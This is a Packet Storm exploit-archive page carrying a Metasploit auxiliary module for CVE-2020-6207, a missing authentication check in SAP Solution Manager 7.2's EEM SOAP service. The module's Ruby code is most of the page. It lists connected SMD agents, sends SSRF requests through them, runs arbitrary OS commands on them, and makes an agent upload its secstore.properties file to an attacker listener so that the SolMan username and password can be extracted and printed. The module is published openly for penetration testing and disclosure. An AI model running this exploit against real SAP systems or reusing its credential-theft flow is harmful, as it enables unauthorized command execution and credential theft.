exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SAP Solution Manager Remote Unauthorized OS Commands Execution

SAP Solution Manager Remote Unauthorized OS Commands Execution
Posted Aug 31, 2024
Authored by Dmitry Chastuhin, Pablo Artuso, Vladimir Ivanov, Yvan Genuer | Site metasploit.com

This Metasploit module exploits the CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem) of SAP Solution Manager (SolMan) running version 7.2. The vulnerability occurs due to missing authentication checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents, send HTTP request (SSRF), and execute OS commands on connected SMDAgent. Works stable in connected SMDAgent with Java version 1.8. Successful exploitation of the vulnerability enables unauthenticated remote attackers to achieve SSRF and execute OS commands from the agent connected to SolMan as a user from which the SMDAgent service starts, usually the daaadm.

tags | exploit, java, remote, web
advisories | CVE-2020-6207
SHA-256 | d3cd670695bc394e4f3ed861de2d7c717dac789ada16fbb0c7c9e1612d66ab86

SAP Solution Manager Remote Unauthorized OS Commands Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::SapSolManEemMissAuth
include Msf::Exploit::Local::SapSmdAgentUnencryptedProperty

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SAP Solution Manager remote unauthorized OS commands execution',
'License' => MSF_LICENSE,
'Author' => [
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
'Pablo Artuso', # @lmkalg The researcher who originally found this vulnerability
'Dmitry Chastuhin', # @chipik The researcher who made first PoC
'Vladimir Ivanov' # @_generic_human_ This Metasploit module
],
'Description' => %q{
This module exploits the CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem) of
SAP Solution Manager (SolMan) running version 7.2. The vulnerability occurs due to missing authentication
checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents,
send HTTP request (SSRF), and execute OS commands on connected SMDAgent. Works stable in connected SMDAgent with Java version 1.8.

Successful exploitation of the vulnerability enables unauthenticated remote attackers to achieve SSRF and execute OS commands from the agent connected
to SolMan as a user from which the SMDAgent service starts, usually the daaadm.
},
'References' => [
['CVE', '2020-6207'],
['URL', 'https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf'],
['URL', 'https://github.com/chipik/SAP_EEM_CVE-2020-6207']
],
'Actions' => [
['LIST', { 'Description' => 'List connected agents' }],
['SSRF', { 'Description' => 'Send SSRF from connected agent' }],
['EXEC', { 'Description' => 'Exec OS command on connected agent' }],
['SECSTORE', { 'Description' => 'Get file with SolMan credentials from connected agent' }]
],
'DefaultAction' => 'LIST',
'DisclosureDate' => '2020-10-03',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(50000),
OptString.new('TARGETURI', [true, 'Path to the SAP Solution Manager EemAdmin page from the web root', '/EemAdminService/EemAdmin']),
OptString.new('SSRF_METHOD', [true, 'HTTP method for SSRF', 'GET'], conditions: %w[ACTION == SSRF]),
OptString.new('SSRF_URI', [true, 'URI for SSRF', 'http://127.0.0.1:80/'], conditions: %w[ACTION == SSRF]),
OptString.new('COMMAND', [true, 'Command for execute in agent', 'id'], conditions: %w[ACTION == EXEC]),
OptAddress.new('SRVHOST', [ true, 'The local IP address to listen HTTP requests from agents', '192.168.1.1' ], conditions: %w[ACTION == SECSTORE]),
OptPort.new('SRVPORT', [ true, 'The local port to listen HTTP requests from agents', 8000 ], conditions: %w[ACTION == SECSTORE]),
OptString.new('AGENT', [true, 'Agent server name for exec command or SSRF', 'agent_server_name'], conditions: ['ACTION', 'in', %w[SSRF EXEC SECSTORE]]),
]
)
end

def setup_xml_and_variables
@host = datastore['RHOSTS']
@port = datastore['RPORT']
@srv_host = datastore['SRVHOST']
@srv_port = datastore['SRVPORT']
@path = datastore['TARGETURI']

@agent_name = datastore['AGENT']
@script_name = Rex::Text.rand_text_alphanumeric(12)

if datastore['SSL']
@schema = 'https://'
else
@schema = 'http://'
end

@solman_uri = "#{@schema}#{@host}:#{@port}#{@path}"

@ssrf_method = datastore['SSRF_METHOD']
@ssrf_uri = datastore['SSRF_URI']
@ssrf_payload = make_ssrf_payload(@ssrf_method, @ssrf_uri)
@rce_command = datastore['COMMAND']

@username = nil
@password = nil
end

# Report Service and Vulnerability
def report_service_and_vuln
report_service(
host: @host,
port: @port,
name: 'soap',
proto: 'tcp',
info: 'SAP Solution Manager'
)
report_vuln(
host: @host,
port: @port,
name: name,
refs: references
)
end

# Handle incoming HTTP requests from connected agents
def on_request_uri(cli, request)
response = create_response(200, 'OK')
response.body = 'Received'
cli.send_response(response)

agent_host = cli.peerhost
request_uri = request.raw_uri
secstore_content = request.body
secstore_filename = request.headers['X-File-Name']

if secstore_content.nil? || secstore_filename.nil? || agent_host.nil? || request_uri.nil? || request_uri != "/#{@script_name}"
fail_with(Failure::PayloadFailed, "Failed to retrieve secstore.properties file from agent #{@agent_name}.")
end
print_status("Received HTTP request from agent #{@agent_name} - #{agent_host}")

# Loot secstore.properties file
loot = store_loot('smdagent.secstore.properties', 'text/plain', agent_host, secstore_content, secstore_filename, 'SMD Agent secstore.properties file')
print_good("Successfully retrieved file #{secstore_filename} from agent: #{@agent_name} saved in: #{loot}")
vprint_good("File content:\n#{secstore_content}")

# Analyze secstore.properties file
properties = parse_properties(secstore_content)
properties.each do |property|
case property[:name]
when 'smd/agent/User'
@username = property[:value]
when 'smd/agent/Password'
@password = property[:value]
end
end

# Store decoded credentials and report vulnerability
if @username.nil? || @password.nil?
fail_with(Failure::NotVulnerable, "The agent: #{@agent_name} sent a secstore.properties file, but this file is likely encrypted or does not contain credentials. The agent: #{@agent_name} is likely patched.")
else
# Store decoded credentials
print_good("Successfully encoded credentials for SolMan server: #{@host}:#{@port} from agent: #{@agent_name} - #{agent_host}")
print_good("SMD username: #{@username}")
print_good("SMD password: #{@password}")
store_valid_credential(
user: @username,
private: @password,
private_type: :password,
service_data: {
origin_type: :service,
address: @host,
port: @port,
service_name: 'http',
protocol: 'tcp'
}
)
# Report vulnerability
new_references_array = [
%w[CVE 2019-0307],
%w[URL https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf]
]
new_references = Rex::Transformer.transform(new_references_array, Array, [SiteReference, Reference], 'Ref')
report_vuln(
host: agent_host,
name: 'Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server',
refs: new_references
)
end
end

def run
setup_xml_and_variables
case action.name
when 'LIST'
action_list
when 'SSRF'
action_ssrf
when 'EXEC'
action_exec
when 'SECSTORE'
action_secstore
else
print_error("The action #{action.name} is not a supported action.")
end
end

def action_list
print_status("Getting a list of agents connected to the Solution Manager: #{@host}")
agents = make_agents_array

report_service_and_vuln
if agents.empty?
print_good("Solution Manager server: #{@host}:#{@port} is vulnerable but no agents are connected!")
else
print_good("Successfully retrieved agent list:\n#{pretty_agents_table(agents)}")
end
end

def action_ssrf
check_agent(@agent_name)

print_status("Enable EEM on agent: #{@agent_name}")
enable_eem(@agent_name)

print_status("Start script: #{@script_name} with SSRF payload on agent: #{@agent_name}")
send_soap_request(make_soap_body(@agent_name, @script_name, @ssrf_payload))

print_status("Stop script: #{@script_name} on agent: #{@agent_name}")
stop_script_in_agent(@agent_name, @script_name)

print_status("Delete script: #{@script_name} on agent: #{@agent_name}")
delete_script_in_agent(@agent_name, @script_name)

report_service_and_vuln
print_good("Send SSRF: '#{@ssrf_method} #{@ssrf_uri} HTTP/1.1' from agent: #{@agent_name}")
end

def action_exec
check_agent(@agent_name)

print_status("Enable EEM on agent: #{@agent_name}")
enable_eem(@agent_name)

print_status("Start script: #{@script_name} with RCE payload on agent: #{@agent_name}")
send_soap_request(make_soap_body(@agent_name, @script_name, make_rce_payload(@rce_command)))

print_status("Stop script: #{@script_name} on agent: #{@agent_name}")
stop_script_in_agent(@agent_name, @script_name)

print_status("Delete script: #{@script_name} on agent: #{@agent_name}")
delete_script_in_agent(@agent_name, @script_name)

report_service_and_vuln
print_good("Execution command: '#{@rce_command}' on agent: #{@agent_name}")
end

def action_secstore
agent = check_agent(@agent_name)

print_status("Enable EEM on agent: #{@agent_name}")
enable_eem(@agent_name)

start_service(
{
'Uri' => {
'Proc' => proc { |cli, req| on_request_uri(cli, req) },
'Path' => "/#{@script_name}"
}
}
)
@creds_payload = make_steal_credentials_payload(agent[:instanceName], @srv_host, @srv_port, "/#{@script_name}")
print_status("Start script: #{@script_name} with payload for retrieving SolMan credentials file from agent: #{@agent_name}")
send_soap_request(make_soap_body(@agent_name, @script_name, @creds_payload))

sleep(5)
print_status("Stop script: #{@script_name} on agent: #{@agent_name}")
stop_script_in_agent(@agent_name, @script_name)

print_status("Delete script: #{@script_name} on agent: #{@agent_name}")
delete_script_in_agent(@agent_name, @script_name)

report_service_and_vuln
if @username.nil? && @password.nil?
print_error("Failed to retrieve or decode SolMan credentials file from agent: #{@agent_name}")
end
end

end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close